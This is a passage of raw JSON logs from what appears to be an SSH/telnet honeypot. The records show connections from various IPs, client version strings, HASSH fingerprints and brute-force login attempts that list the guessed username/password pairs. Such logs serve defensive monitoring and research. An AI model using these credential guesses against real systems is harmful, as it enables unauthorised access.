{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:16.582034Z","src_ip":"165.154.6.49","session":"616e6bc71e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:17.237552Z","src_ip":"221.161.235.168","session":"c73a56a427c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mmj","message":"login attempt [root/mmj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:17.471165Z","src_ip":"165.154.6.49","session":"616e6bc71e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:18.688520Z","src_ip":"165.154.6.49","session":"616e6bc71e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":37044,"dst_ip":"10.17.0.5","dst_port":22,"session":"53509c84e735","protocol":"ssh","message":"New connection: 8.218.166.49:37044 (10.17.0.5:22) [session: 53509c84e735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:35.667879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:35.677297Z","src_ip":"8.218.166.49","session":"53509c84e735","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":25719,"dst_ip":"10.17.0.5","dst_port":22,"session":"b58c3d70a182","protocol":"ssh","message":"New connection: 2.57.121.112:25719 (10.17.0.5:22) [session: b58c3d70a182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:38.089713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:38.095585Z","src_ip":"2.57.121.112","session":"b58c3d70a182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:38.197358Z","src_ip":"2.57.121.112","session":"b58c3d70a182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dinkle","message":"login attempt [admin/dinkle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:38.678120Z","src_ip":"2.57.121.112","session":"b58c3d70a182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dima2000","message":"login attempt [admin/dima2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:39.782835Z","src_ip":"2.57.121.112","session":"b58c3d70a182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.21142053604126,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:39.983333Z","src_ip":"142.93.69.27","session":"07d97f114a8a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dima12345","message":"login attempt [admin/dima12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:40.887839Z","src_ip":"2.57.121.112","session":"b58c3d70a182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"diggers","message":"login attempt [admin/diggers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:41.992232Z","src_ip":"2.57.121.112","session":"b58c3d70a182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dfkmrbhbz","message":"login attempt [admin/dfkmrbhbz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:43.096651Z","src_ip":"2.57.121.112","session":"b58c3d70a182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:44.200847Z","src_ip":"2.57.121.112","session":"b58c3d70a182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57234,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee4076474d38","protocol":"ssh","message":"New connection: 8.218.166.49:57234 (10.17.0.5:22) [session: ee4076474d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:48.445356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:48.458533Z","src_ip":"8.218.166.49","session":"ee4076474d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":55536,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac22cddc063a","protocol":"ssh","message":"New connection: 139.59.208.49:55536 (159.203.135.109:22) [session: ac22cddc063a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:49.621297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:49.625402Z","src_ip":"139.59.208.49","session":"ac22cddc063a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:49.705671Z","src_ip":"139.59.208.49","session":"ac22cddc063a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saravanan123","message":"login attempt [root/saravanan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:50.056862Z","src_ip":"139.59.208.49","session":"ac22cddc063a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:51.139012Z","src_ip":"139.59.208.49","session":"ac22cddc063a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":35622,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3a8b60f933e","protocol":"ssh","message":"New connection: 221.161.235.168:35622 (159.203.135.109:22) [session: c3a8b60f933e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:54.191072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:54.195663Z","src_ip":"221.161.235.168","session":"c3a8b60f933e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:54.393524Z","src_ip":"221.161.235.168","session":"c3a8b60f933e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:55.221380Z","src_ip":"221.161.235.168","session":"c3a8b60f933e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:56.424220Z","src_ip":"221.161.235.168","session":"c3a8b60f933e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45558,"dst_ip":"10.17.0.5","dst_port":22,"session":"061ff76c64ff","protocol":"ssh","message":"New connection: 8.218.166.49:45558 (10.17.0.5:22) [session: 061ff76c64ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:58.475540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:58.480501Z","src_ip":"8.218.166.49","session":"061ff76c64ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":56650,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a0959489e0a","protocol":"ssh","message":"New connection: 88.147.30.59:56650 (159.203.135.109:22) [session: 8a0959489e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:06.629884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:06.634156Z","src_ip":"88.147.30.59","session":"8a0959489e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:06.753292Z","src_ip":"88.147.30.59","session":"8a0959489e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60928,"dst_ip":"10.17.0.5","dst_port":22,"session":"288e95914f1a","protocol":"ssh","message":"New connection: 8.218.166.49:60928 (10.17.0.5:22) [session: 288e95914f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:06.912198Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:07.267890Z","src_ip":"88.147.30.59","session":"8a0959489e0a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:07.337964Z","src_ip":"8.218.166.49","session":"288e95914f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:07.341822Z","src_ip":"8.218.166.49","session":"288e95914f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:08.392028Z","src_ip":"88.147.30.59","session":"8a0959489e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":37740,"dst_ip":"159.203.135.109","dst_port":22,"session":"1465484a20ee","protocol":"ssh","message":"New connection: 165.154.6.49:37740 (159.203.135.109:22) [session: 1465484a20ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:15.099093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:15.104124Z","src_ip":"165.154.6.49","session":"1465484a20ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:15.319663Z","src_ip":"165.154.6.49","session":"1465484a20ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adr1an","message":"login attempt [root/adr1an] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:16.213866Z","src_ip":"165.154.6.49","session":"1465484a20ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:17.433495Z","src_ip":"165.154.6.49","session":"1465484a20ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56710,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0d9529d354a","protocol":"ssh","message":"New connection: 8.218.166.49:56710 (10.17.0.5:22) [session: f0d9529d354a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:18.316258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:18.940554Z","src_ip":"8.218.166.49","session":"f0d9529d354a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":51906,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b3f49e4e31","protocol":"ssh","message":"New connection: 190.167.237.191:51906 (159.203.135.109:22) [session: 58b3f49e4e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:22.489186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:22.493589Z","src_ip":"190.167.237.191","session":"58b3f49e4e31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],